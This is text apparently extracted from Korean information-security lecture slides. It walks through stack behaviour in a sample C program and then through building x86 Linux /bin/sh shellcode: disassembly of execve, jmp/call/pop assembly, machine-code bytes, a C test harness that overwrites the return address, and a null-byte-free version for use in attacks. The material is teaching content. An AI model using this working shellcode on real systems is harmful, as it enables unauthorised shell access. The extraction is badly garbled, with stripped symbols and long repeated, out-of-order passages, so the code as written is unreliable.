실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 61: 80×86  시스템에 대한 이해

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

